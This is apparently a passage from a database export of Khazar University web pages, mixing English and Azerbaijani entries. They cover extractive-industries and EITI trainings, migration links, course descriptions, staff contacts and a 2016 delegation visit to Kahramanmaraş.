Extractive Industries Knowledge Hub at Khazar University organized training on “<strong>Revenue Management and Economic Diversification in Extractive Countries</strong>” in Baku. Representatives of scientific research organizations, universities, state agencies and parliament, journalists and CSO from Azerbaijan, Russia, Kazakhstan, Tajikistan, Ukraine and Kyrgyzstan participated at this training. Hub director, Ingilab Ahmadov talked about actuality of presented topics, goals and practical importance of training program at opening speech. &nbsp;Presentations on revenue management, macroeconomic conditions for resource rich countries, sovereign wealth funds, fiscal rules, state owned oil and gas enterprises diversification of economy and export and ways of achieving sustainable development were delivered at training. Participants provided interactive discussions and group works on presented topics On the second day of the training participants made presentations on sovereign wealth funds of Russia and Kazakhstan.&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Training was very interesting to participants: “My attendance in this training will help me when interviewing or preparing articles” – said Nargiz Nanakeyeva, investigative journalist from Kyrgyzstan. Importance and practical use of this training was stated by PhD Yerlan Abil from Kazakhstan and budget expert Kurmanbek Turdaliyev from Kyrgyzstan. CSO representatives also spoke about importance and need for such trainings. 3 days training was delivered by RWI expert Thomas Lassurd and well-known Azerbaijan experts.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">At the end of the training participants were granted certificates and presents from Khazar University. Special city tour was organized for training participants for site-seeing.&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><img src=\"/files/demo/14_11_27_RM%26ED-1.JPG\" style=\"border:0px #000000;width:230px;height:153px\">&nbsp;&nbsp;<img src=\"/files/demo/14_11_27_RM%26ED-2.JPG\" style=\"border:0px  #000000;width:230px;height:153px\">&nbsp;&nbsp;<img src=\"/files/demo/14_11_27_RM%26ED-3.JPG\" style=\"border:0px  #000000;width:230px;height:153px\"><br></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:\'times new roman\', times, serif;font-size:medium;line-height:15px;text-align:justify;background-color:#ffffff\"><span style=\"color:#0000ff\"><strong>On February 20-21, 2014&nbsp;</strong></span>&nbsp;Eurasia Extractive Industries Knowledge Hub organized training for multi-stakeholder group (MSG) on EITI in Kyiv, Ukraine. Despite to very serious and complicated situation, the Hub together with partner organizations in Ukraine \"Q-Club Energy\" and PWYP Eurasia Office was able to achieve put targets. The participants of the training were 25 people from the Ministry of Energy and Coal Industry, The Ministry of Economic Development, Ministry of Incomes and State Service of Geology and Mineral Resources of Ukraine, as well as National Commission for State Energy Regulation, representatives of extractive companies Shell and Chevron and civil society. Topics delivered to participants included necessity of transparency in extractive sector of Ukraine, EITI Standard, specifics of licensing for natural resource production, types of revenues in extractive sector, state companies, sub-national transfers and social impacts of extractive sector.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The training participants analyzed work plan of Ukraine on EITI, defined obstacles in successful realization of this initiative and next steps in this regard. The training was delivered by Galib Efendiyev and Ingilab Ahmadov, who answered to numerous questions and shared with experiences of other countries.</p>  <p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:\'times new roman\', times, serif;font-size:medium;line-height:15px;text-align:justify;background-color:#ffffff\"><br></p><span style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></span>  <img src=\"/files/demo/14_11_27_Ukraine_Feb.JPG\" style=\"border:0px  #000000;width:230px;height:152px\">&nbsp;&nbsp;<img src=\"/files/demo/14_11_27_Ukraine_Feb2.JPG\" style=\"border:0px  #000000;width:230px;height:152px\">&nbsp;&nbsp;<img src=\"/files/demo/14_11_27_Ukraine_Feb3.JPG\" style=\"border:0px #000000;width:205px;height:152px\"><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></p>  <span style=\"font-family:\'times new roman\', times, serif\"><br></span><br>     </div>'),(665,456,'en','Useful Links','Useful Links','<h3><strong>National</strong></h3><p><a href=\"http://www.migration.gov.az/\" target=\"_blank\">State Migration Service of the Republic of Azerbaijan</a></p><p><a href=\"http://www.refugees-idps-committee.gov.az/en/\" target=\"_blank\">State<em>&nbsp;</em>Committee<em>&nbsp;</em>of the Republic<em>&nbsp;</em>of&nbsp;Azerbaijan<em>&nbsp;</em>for&nbsp;Refugees<em>&nbsp;</em>and Internally Displaced Person</a></p><p><a href=\"http://www.mia.gov.az/\" target=\"_blank\">Ministry of Internal Affairs</a></p><p><a href=\"http://www.mfa.gov.az/?language=en\" target=\"_blank\">Ministry of Foreign Affairs of the Republic of Azerbaijan</a></p><p><a href=\"http://www.migration-az.org/en.html\" target=\"_blank\">Azerbaijan Migration Center</a></p><p><a href=\"http://www.iom.az/\" target=\"_blank\">International Organization for Migration (IOM) Azerbaijan</a></p><p><a href=\"http://www.osce.org/baku\" target=\"_blank\">Organization for Security and Co-operation in Europe&nbsp;(OSCE) Azerbaijan<strong>&nbsp;</strong></a></p><p><a href=\"http://www.unhcr.org/pages/49e48d1e6.html\" target=\"_blank\">United Nations High&nbsp;Commission&nbsp;for Refugees (UNHCR) Azerbaijan</a></p><p>&nbsp;</p><h3><strong>European</strong></h3><p><a href=\"http://hub.coe.int/what-we-do/society/migration\" target=\"_blank\">Migration – Council of Europe</a></p><p><a title=\"EU Immigration Portal\" href=\"http://ec.europa.eu/immigration/\" target=\"_blank\">EU Immigration Portal</a></p><p><a title=\"EU Integration Portal\" href=\"http://ec.europa.eu/ewsi/en/\" target=\"_blank\">EU Integration Portal</a></p><p><a title=\"European Commission DG Employment, Social Affairs and Inclusion\" href=\"http://ec.europa.eu/social/home.jsp\" target=\"_blank\">European Commission DG Employment, Social Affairs and Inclusion</a></p><p><a title=\"European Commission DG Home Affairs\" href=\"http://ec.europa.eu/dgs/home-affairs/index_en.htm\" target=\"_blank\">European Commission DG Home Affairs</a></p><p><a title=\"European Commission Links to National Governments’ Sites\" href=\"http://www.migrationpolicycentre.eu/useful-links/\">European Commission Links to National Governments\' Sites</a></p><p><a title=\"European Parliament Committee on Civil Liberties, Justice and Home Affairs\" href=\"http://www.europarl.europa.eu/committees/en/libe/home.html\" target=\"_blank\">European Parliament Committee on Civil Liberties, Justice and Home Affairs</a></p><p><a title=\"The Council of the European Union\" href=\"http://www.consilium.europa.eu/\" target=\"_blank\">The Council of the European Union</a></p><p><a title=\"European Migration Network (EMN)\" href=\"http://ec.europa.eu/dgs/home-affairs/what-we-do/networks/european_migration_network/index_en.htm\" target=\"_blank\">European Migration Network (EMN)</a><br></p><p>&nbsp;</p><h3><strong>Global</strong>&nbsp;</h3><p><a title=\"International Centre for Migration Policy Development (ICMPD)\" href=\"http://www.icmpd.org/\" target=\"_blank\">International Centre for Migration Policy Development (ICMPD)</a></p><p><a title=\"International Labor Organization (ILO)\" href=\"http://www.ilo.org/global/lang--en/index.htm\" target=\"_blank\">International Labor Organization (ILO)</a></p><p><a title=\"International Organization for Migration (IOM)\" href=\"http://www.iom.int/jahia/jsp/index.jsp\" target=\"_blank\">International Organization for Migration (IOM)</a></p><p><a title=\"European Migration Network (EMN)\" href=\"http://emn.intrasoft-intl.com/html/index.html\" target=\"_blank\">European Migration Network (EMN)</a></p><p><a title=\"Organization for Economic Cooperation and Development (OECD)\" href=\"http://www.oecd.org/home/0,2987,en_2649_201185_1_1_1_1_1,00.html\" target=\"_blank\">Organization for Economic Cooperation and Development (OECD)</a></p><p><a title=\"UN High Commissioner for Refugees (UNHCR)\" href=\"http://www.unhcr.org/cgi-bin/texis/vtx/home\" target=\"_blank\">UN High Commissioner for Refugees (UNHCR)</a></p><p><a title=\" United Nations Population Division\" href=\"http://www.un.org/esa/population/\" target=\"_blank\">United Nations Population Division</a></p><p><a title=\"World Bank\" href=\"http://www.worldbank.org/\" target=\"_blank\">World Bank</a></p>'),(666,457,'en','Contact us','Contact us','<p><strong>Migration Competence Center</strong></p><p><strong></strong>Khazar University (Neftchilar Campus)</p><p>41 Mehseti Str. AZ1096</p><p>Baku,&nbsp;Azerbaijan</p><p><strong>E-mail</strong>:&nbsp;<a href=\"mailto:mcc@khazar.org\">mcc@khazar.org</a></p><p><strong>Phone</strong>: (+99412) 421-10-93&nbsp;(277)</p><p><strong>Fax</strong>: (+99412) 498-93-79</p>'),(667,458,'en','Courses','Courses','<h3 style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>VALUE CHAIN CORE COURSE</strong></h3><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong><br></strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The Eurasia Hub has built its activities based on the value chain approach, including the Natural Resource Charter. This approach helps participants to comprehend EI transparency, accountability and management as an integrated system with forward and backward linkages; and also to have a clear understanding of the impact of individual elements of this chain on the whole, their dependency and consistency of rationale.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Value Chain courses are conducted on an annual basis, alternating between English- and Russian-speaking audiences.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><h3 style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>REVENUE MANAGEMENT AND ECONOMIC DIVERSIFICATION COURSE</strong></h3><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong><br></strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The Eurasia Hub has identified revenue management as the main priority theme for the region. This module’s approbation process has already been initiated by conducting several workshops where a model developed by RWI was further improved through engagement of regional experts.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The Hub will continue to pay attention to this topic because it has significant social-political-economic importance for the entire region and its various countries, and also considering its practical importance for governance and from a practical standpoint.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Within the framework of this topic, the Hub identifies the following issues as primary foci to be addressed in the module: how to build diversification away from extractives into government policies in the short and long term; how to form a government policy for spending sovereign wealth/natural resource funds; how CSOs can oversee governments in these activities; how CSOs can assist governments in the development of alternative programs that will lead to transformational human and economic development.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">These trainings will have very practical significance as they will provoke various scenarios and explore avenues for the formation of more operational policies. Considering the special significance of the topics for decision-makers in particular, both parliamentarians and representatives of the executive institutes of the government will be engaged in trainings.<strong><em>&nbsp;</em></strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><h3 style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AUXILIARY COURSES</strong></h3><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong><br></strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Based on regional needs, the hub offers basic auxiliary courses in addition to core courses on the EI value chain and technical trainings. The hub provides EITI courses for a number of countries (Albania, Afghanistan, Tajikistan, Ukraine) as these countries work towards validation and compliance statuses.&nbsp; EITI Essentials courses run for countries that have not yet signed up for the initiative but would benefit from revenue transparency, and the opportunity for civil society to work with government and companies as part of a multi-stakeholder group.&nbsp; Such agenda-setting courses would target countries such as Turkmenistan, where very little traction has been gained in democratic governance.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Another auxiliary course will be offered on EI contracts for as long as it remains a topical subject for a group of countries in the region (Afghanistan, Albania, Kyrgyzstan, and Mongolia). Some of these auxiliary courses will be offered in different countries in the region.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Auxiliary courses are short (3 days long) and have a specific goal-oriented character. The content of these courses will be delivered progressively on a multilevel basis, e.g. including knowledge and skills in that field.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><h3 style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>SPECIAL COUNTRY COURSES</strong></h3><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong><br></strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Eurasia Hub has delivered a number of courses in some Eurasian countries, based on the country needs. The Hub has organized</p><ul style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><li>EITI basic courses in Dushanbe (Tajikistan), Tbilisi (Georgia), Lviv&nbsp; and Kyiv (Ukraine),</li><li>EITI new Standards in Issyk Kul, Kyrgyzstan,</li><li>Revenue management in Almaty, Kazakhstan,</li><li>The EI value chain course in Albania</li><li>A study tour in Baku for Afghanistan EITI MSG.</li></ul>'),(668,448,'en','Our beginning','Our beginning','<div><br></div><div><p>Khazar Internet&nbsp;Institute was established on 1 October, 2010 by an order of the founder of Khazar University and chairman of its Board of Directors and Trustees, Hamlet Isaxanli, in order to create a student information center at Khazar University, to manage the website, and to implement web-related projects.</p><p>The Internet Institute&nbsp;&nbsp;is located on the Khazar University Neftchilar campus (room 310).</p>  <br></div><div><br></div>'),(669,449,'en','Our goals','Our goals','<ul><li>To establish a Student Information System at Khazar University</li><li>To open a laboratory for mobile programming&nbsp;affiliated with Khazar University</li><li>To carry out various web projects with the students of Khazar University</li><li>To implement internet-related projects for the promotion of Khazar University&nbsp;</li><li>To organize&nbsp;various contests and competitions</li></ul>'),(1866,1148,'az','Xəzər Universitəsi Kahramanmaraşda ','2016-cı il mayın 14-dən 18-dək Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar şurasının sədri professor Hamlet İsaxanlının rəhbərlik etdiyi nümayəndə heyəti Kahramanmaraş Sütçü İmam Universitetinin dəvəti ilə orada keçirilən ənənəvi Bahar Şənliklərində iştirak etmək üçün Kahramanmaraşda –köhnə dostların qonağı oldu. ','<p>2016-cı il\r\nmayın 14-dən 18-dək Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nşurasının sədri professor Hamlet İsaxanlının rəhbərlik etdiyi nümayəndə heyəti\r\nKahramanmaraş Sütçü İmam Universitetinin dəvəti ilə orada keçirilən ənənəvi\r\nBahar Şənliklərində iştirak etmək üçün Kahramanmaraşda –köhnə dostların qonağı\r\noldu. Nümayəndə heyətinin tərkibində “Dünya” məktəbinin təsisçisi Nailəxanım\r\nİsayeva, universitetin İctimai əlaqələr və media üzrə direktoru Əlövsət Əmirbəyli,\r\nMusiqi və incəsənət departamentinin müdiri Zülfiyyə Sadıxova, respublikanın\r\nxalq artisti Gülyanaq Məmmədova, respublikanın əməkdar artisti Fərid Əliyev,\r\nkamera orkstri, Telman Əliyevin və Səbinə İsmayılovanın rəhbərlik etdikləri\r\noğlanlardan və qızlardan ibarət rəqs qrupları, müəllim və tələbələrdən ibarət\r\nsolistlər iştirak edirdilər. 43 nəfərlik heyət (Heyətin digər 4 nəfər üzvü təyyarə\r\nilə Kahramammaraşa gələcəkdi) Sarp Gömrük qapısına gələn Kahramanmaraş Sütçü\r\nİmam Universitetinin avtobusu ilə Kahramanmaraş şəhərinə gecənin gec\r\nsaatlarında gəldi. 2 min kilometrdən artıq yolu qət edən Xəzər Universitetinin\r\nnümayəndə heyəti gec saatlarında gəlməsinə baxmayaraq, otelin qarşısında\r\nKahramanmaraş Sütçü İmam Üniversitetinin nümayəndələri –baş katibin köməkçisi\r\nMithat Karaaslan və mühafizə xidmətinin rəhbəri Nedim Duman qarşıladılar və\r\nnümayəndə heyətinin yanından ayrılmadılar. Həmin gün günorta saatlarına kimi\r\nistirahət edən &nbsp;Xəzər Universitetinin\r\nkollektivi günortadan sonra Sütçü İmam Universitetinin Bahar Şənliklərində\r\niştirak etmək üçün proqram hazırlığına başladılar.</p>\r\n<p>Mayın 16-sı və\r\n17-də Xəzər Universitetinin kollektivi Kahramanmaraş Sütçü İmam Universitetinin\r\nprofessor-müəllim heyəti və çox minli tələbələri qarşısında əvvəlcədən\r\nplanlaşdırılmış iki böyük konsert proqramı ilə çıxış etməli idi. Bahar Şənliklərindəki\r\nkonsertlər açıq havada keçiriləcəkdi. Həmin günlərdə Kahramanmaraşda hava çox\r\nisti idi. Artıq hazırlıqlara başlamağın vaxtı çatmışdı. İstirahət günü olmasına\r\nbaxmayaraq, Sütçü İmam Universitetinin bütün rəhbərliyi Bakıdan gələn köhnə\r\ndostları ilə görüşmək üçün yerləşdiyimiz “Uyğulama” otelinə gəlmişdilər.\r\nUniversitetin prorektoru professor İsmayıl Bakan, baş katib İbrahim Ekiz, baş\r\nkatibin köməkçiləri Mithat Karaaslan, Gülderen Aslan, mühafizə xidmətinin rəhbəri\r\nNedim Duman və digərləri hər zaman olduğu kimi yenə ayaqda idilər. Axşam Xəzər\r\nUniversiteti nümayəndə heyətinin şərəfinə açıq havada ziyafət verildi. Ziyafətdə\r\nXəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri\r\nprofessor Hamlet İsaxanlı və Kahramanmaraş Sütçü İmam Universitetinin rektoru\r\nprofessor Durmuş Deveci iştirak edirdilər.</p>\r\n<p>Mayın 16-da Xəzər\r\nUniversitetinin kollektivi konsert verəcəyi səhnə hazırlıqlarına səhər sübh\r\ntezdən başladı. Universitetin prorektoru professor İsmayıl Bakan və universitetin\r\nbütün əməkdaşları konsertin yüksək səviyyədə keçməsi üçün universitetin bütün\r\nimkanlarını səfərbər etmişdilər. </p>\r\n<p>Artıq gözlənilən\r\nvaxt gəldi. Bahar Şənliyinin 1-ci günü Kahramanmaraş Sütçü İmam Universitetinin\r\nrektoru professor Durmuş Deveci və Xəzər Universitetinin təsisçisi, Direktorlar\r\nvə Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı və digər protokol üzvləri\r\nBahar Şənliyinin rəsmi açılışını etdilər. Bahar Şənliyində ebru sənəti, rəssamlıq,\r\nzərgərlik, xalçaçılıq və digər sahələr üzrə tələbələrin hazırladıqları əl işləri\r\nnümayiş etdirilirdi.</p>\r\n<p>Bahar Şənliyi\r\nuniversitetin Xalq Oyunları qrupunun rəqsləri ilə başladı. Sütçü İmam Universitetinin\r\nproqram aparıcısı Mustafa bəyin xoş sədaları ilə Xəzər Universiteti səhnəyə dəvət\r\nedildi. Aparıcı protokolda oturan rəsmi qonaqları və açıq havada günəşin\r\naltında toplaşan çoxsaylı tələbələri salamlayaraq, Azərbaycandan gələn Xəzər\r\nUniversitetinin nümayəndələrini səhnəyə dəvət etdi. Xəzər Universiteti Kamera\r\nOrkestrinin ifaları, tələbələrin rəngarəng rəqs nömrələri, Gülyanaq Məmmədovanın\r\nvə Fərid Əliyevin xoş ifaları meydana toplaşanlar tərəfindən dəfələrlə\r\nalqışlandı. Bahar Şənlikləri proqramı Türkiyənin TRT Haber kanalı tərəfindən\r\nlentə alındı. H.İsaxanlı, D.Deveci və tələbələrdən Murad Balaqadaşov və Həmran\r\nƏmirli müsahibələr verdilər. Xəbər TRT AVAZ, TRT Haber və TRT kanalları tərəfindən\r\nyayımlandı. Konsertdən sonra qonaq universitetin kollektivi sabahkı proqram\r\nhazırlıqlarına başlamağa qərar verdi. Həmin gün Kahramanmaraş Bələdiyyə başqanı\r\nMehmet Narın dəvətilə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlını, sədrin müsaviri Nailəxanım İsayevanı,\r\nİctimai əlaqələr və media üzrə direktor Əlövsət Əmirbəylini, Mədəniyyət və incəsənət\r\ndepartamentinin müdiri Zülfiyyə Sadıqovanı, respublikanın xalq artisti Gülyanaq\r\nMəmmədovanı, respublikanın əməkdar artisti Fərid Əliyevi və Kahramanmaraş Sütçü\r\nİmam Universitetinin prorektoru, professor İsmayıl Bakanı nahar yeməyinə dəvət\r\netdi. </p>\r\n<p>Xəzər Universitetin\r\ntələbələri isə KSU-nin İqtisadiyyat fakültəsinin tələbəsi Həmran Əmirlinin rəhbərliyi\r\nilə Kahramanmaraşın görməli yerlərini gəzdilər. Bahar Şənliyinin ikinci günü\r\nebru sənəti, rəsm sərgisi, zərgərlik və digər sərgilərlə yanaşı, Sütçü İmam\r\nUniversitetində təhsil alan müxtəlif ölkələrin tələbələrinin mədəniyyət, incəsənət\r\nişlərinin və milli mətbəxlərində hazırlanan yeməklərin sərgisi də keçirildi. Həmin\r\ngün Xəzər Universiteti musiqi kollektivinin oradakı iştirakı Bahar Şənliyinə rəngarənglik\r\ngətirdi. Universitetin builki şənliyinə, ötən illərdən fərqli olaraq, şəhər əhalisi\r\ndəvət edilməmişdi. Belə ki, son günlər Türkiyədə baş verən terror aktları nəticəsində\r\nçoxlu sayda şəhid verilmişdi. Onların arasında Kahramanmaraşdan olan şəhidlər də\r\nvardır. Buna görə də, universitet şəhidlərin ruhuna ehtiram əlaməti olaraq builki\r\nBahar Şənliklərinin təmtəraqlı qeyd edilməməsini qərara almışdı.</p>\r\n<p>Aparıcı öncə\r\nsözü Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri\r\nprofessor Hamlet İsaxanlıya vermək üçün səhnəyə dəvət etdi. H.İsaxanlı\r\nKahramanmaraş Sütçü İmam Universitetinin rəhbərliyinə, şəxsən universitənin\r\nrektoru professor&nbsp; Durmuş&nbsp; Deveciyə dəvət üçün təşəkkürünü bildirdi. O,\r\nTürkiyədə son terror olaylarında canlarını qurban vermiş bütün şəhidlərə\r\nAllahdan rəhmət dilədi və Kahramanmaraşda olmaqdan çox məmnun olduqlarını\r\nbildirdi. Sonra H.İsaxanlı universitet adından hədiyyələrini Kahramanmaraş\r\nSütçü İmam Universitetinin rektoru professor Durmuş Deveciyə və prorektor\r\nİsmayıl Bakana təqdim etdi. Professor Durmuş Deveci də şənliklərdə iştirak\r\netdiyi üçün H.İsaxanlıya dərin təşəkkürünü bildirdi. Sonra Kahramanmaraş Sütçü\r\nİmam Universitetinin adından H.İsaxanlıya və Ə.Əmirbəyliyə hədiyyələrini təqdim\r\netdi. Həmin gün üçün Xəzər Universitetinin kollektivinin xüsusi proqramı\r\nhazırlanmışdı. İki saatlıq proqram çoxsaylı tələbələr tərəfindən alqışlarla\r\nqarşılandı.</p>\r\n<p>Xalq artisti\r\nGülyanaq Məmmədovanın, əməkdar artist Fərid Əliyevin ifaları, tələbələrimizin rəqsləri\r\nhər kəsi heyrətləndirə bilmişdi. Elə həmin gün axşam Xəzər Universitetinin təsisçisi\r\nH.İsaxanlı, müsaviri Nailəxanım İsayeva, İctimai əlaqələr və media üzrə\r\ndirektor Əlövsət Əmirbəyli, Musiqi və incəsənət departamentin müdiri Zülfiyyə\r\nSadıqova, xalq artisti Gülyanaq Məmmədova, əməkdar artist Fərid Əliyev\r\nKahramanmaraş Sütçü İmam Universitetinin prorektoru professor İsmayıl Bakan və\r\nonun ailəsinin dəvətilə evində axşam yeməyində oldular. Yeməyə universitənin\r\nrektoru professor Durmuş Deveci və ailəsi də qatıldı. Gecə gec saatlarına kimi\r\nşirin söhbətlər oldu. Gülyanaq xanım və Fərid bəy ara-sıra maraqlı ifaları səsləndirdilər.\r\nGecənin gec saatlarında otelə dönüldü. Tələbələr isə hələ də hoteldə əylənirdilər.\r\nOnların xahişi ilə rəhbərlik və digər qonaqlar da onlara qoşuldular. </p>\r\n<p>Mayın 18-də səhər\r\ntezdən Xəzər Universitetinin kollektivi Kahramanmaraşdan, çox dəyərli dostlarından\r\nayrılmalı idi. Səhər saat 8-də Kahramanmaraş Sütçü İmam Universitetinin rektoru\r\nprofessor Durmuş Deveci, prorektoru professor İsmayıl Bakan, baş katib İbrahim\r\nEkiz, köməkçiləri Mithat Karaaslan və Gülderen Aslan, mühafizə xidmətinin rəhbəri\r\nNedim Duman və universitetin digər əməkdaşları artıq qonaqları yola salmaq üçün\r\norada idilər. Xəzər Universitetinin kollektivi də onlardan ayrıla bilmirdi,\r\namma ayrılmalı, qarşıdakı proqramlar üçün hazırlanmalı idi. Qeyd etdiyimiz kimi,\r\nHamlet İsaxanlı, Nailəxanım İsayeva, Gülyanaq Məmmədova və Fərid Əliyev\r\nAdanaya, kollektivin digər üzvləri isə Kahramanmaraş Sütçü İmam Universitetinin\r\navtobusu ilə Giresuna yola düşdülər. Kahramanmaraşın qəhrəman və qonaqpərvər\r\ninsanları ilə bir daha görüşmək ümidi ilə oradan ayrıldılar...</p>\r\n<p>Xəzər\r\nUniversitetinin kollektivini isə qarşıda Giresun səfəri gözləyirdi...</p>\r\n<p><strong><em>&nbsp;</em></strong></p>\r\n<p><strong><em>Qeyd: Şəkillər\r\nMedia Mərkəzindədir.</em></strong></p>\r\n<p><strong><em>Əlövsət Əmirbəyli,</em></strong></p>\r\n<p><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;Kahramanmaraş&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n15-18 may 2016. </strong></p>\r\n<p>&nbsp;</p>'),(671,460,'en','Staff','Staff','<img src=\"http://www.khazar.org/files/image/Mehemmed.png\" style=\"border:1px solid #dddddd;width:150px;height:189px;margin:8px 15px 0px 7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Mahammad_Sharifov.pdf\">Mahammad Sharifov</a> (Ph.D.)</strong></p><p>Head of Internet Education Center&nbsp;&amp;&nbsp;Associate Professor at Department of Computer Science, Khazar University</p>  <p style=\"background:#fffffff\"><strong style=\"font-weight:bold\">Url:&nbsp;</strong><a href=\"http://www.mahammad.info/\">www.mahammad.info</a>&nbsp; |&nbsp;&nbsp;<strong style=\"font-weight:bold\">Email:</strong>&nbsp;<a href=\"mailto:msharifov@khazar.org\">msharifov[at]khazar.org</a><strong>&nbsp;</strong></p><p style=\"background:#fffffff\"><strong></strong><strong>Phone:</strong>&nbsp;(+99412) 421 10&nbsp;93\r\nExt (266)&nbsp; | &nbsp;<strong>Cell:</strong>&nbsp;(+99450) 717 89&nbsp;19</p><p style=\"background:#fffffff\"><strong><br></strong></p><p style=\"background:#fffffff\"><br></p><p style=\"background:#fffffff\"><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><a href=\"http://www.khazar.org/files/letters/CV_Parvana_Salmanova_2018.pdf\"><strong><img src=\"/files/engineering/images/parvana_s.gif\" style=\"width:150px;height:220px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Parvana Salmanova</strong></a></p><p>Web-site manager, Instructor of Department of Computer Science</p><p><strong>E-mail:</strong>&nbsp;<a href=\"http://mailto:psalmanova@khazar.org\">psalmanova[at]khazar.org</a></p><p><strong>Phone:</strong>&nbsp;(+994 12)&nbsp;421 10&nbsp;93 Ext (266)&nbsp; | &nbsp;<strong>Cell:</strong>&nbsp;(+994 77)&nbsp;520 24 70&nbsp;</p>'),(672,463,'en','Center Activities','Center Activities','<ul><li>Organization of Conferences, Workshops and Seminars</li><li>Research and Development of University-Industry Relations</li><li>Recommendations to Government on Educational Reforms</li><li>Information Policy Formation</li><li>Projects (World Bank and Ministry of Education)</li><li>Trainings for education administrators</li><li>Trainings for high school teachers</li></ul>'),(1990,1213,'az','Akademik departamentlərin elmi fəaliyyəti üzrə reytinqi müəyyənləşdirildi','2016-cı il iyunun 17-də Xəzər Universitetində akademik departamentlərin elmi fəaliyyəti üzrə reytinqinin müəyyənləşdirilməsinin nəticələri ilə...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">2016-cı il iyunun 17-də Xəzər Universitetində\r\nakademik departamentlərin elmi fəaliyyəti üzrə reytinqinin\r\nmüəyyənləşdirilməsinin nəticələri ilə əlaqədar görüşkeçirildi. Görüşdə fakültə dekanları, departament müdirləri və professor-müəllim heyəti iştirak edirdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlı görüşü açaraq, nüfuzlu beynəlxalq\r\njurnallarda tədqiqat nəticələrinin çap olunması əhəmiyyətini qeyd etdi.</p>\r\n<p 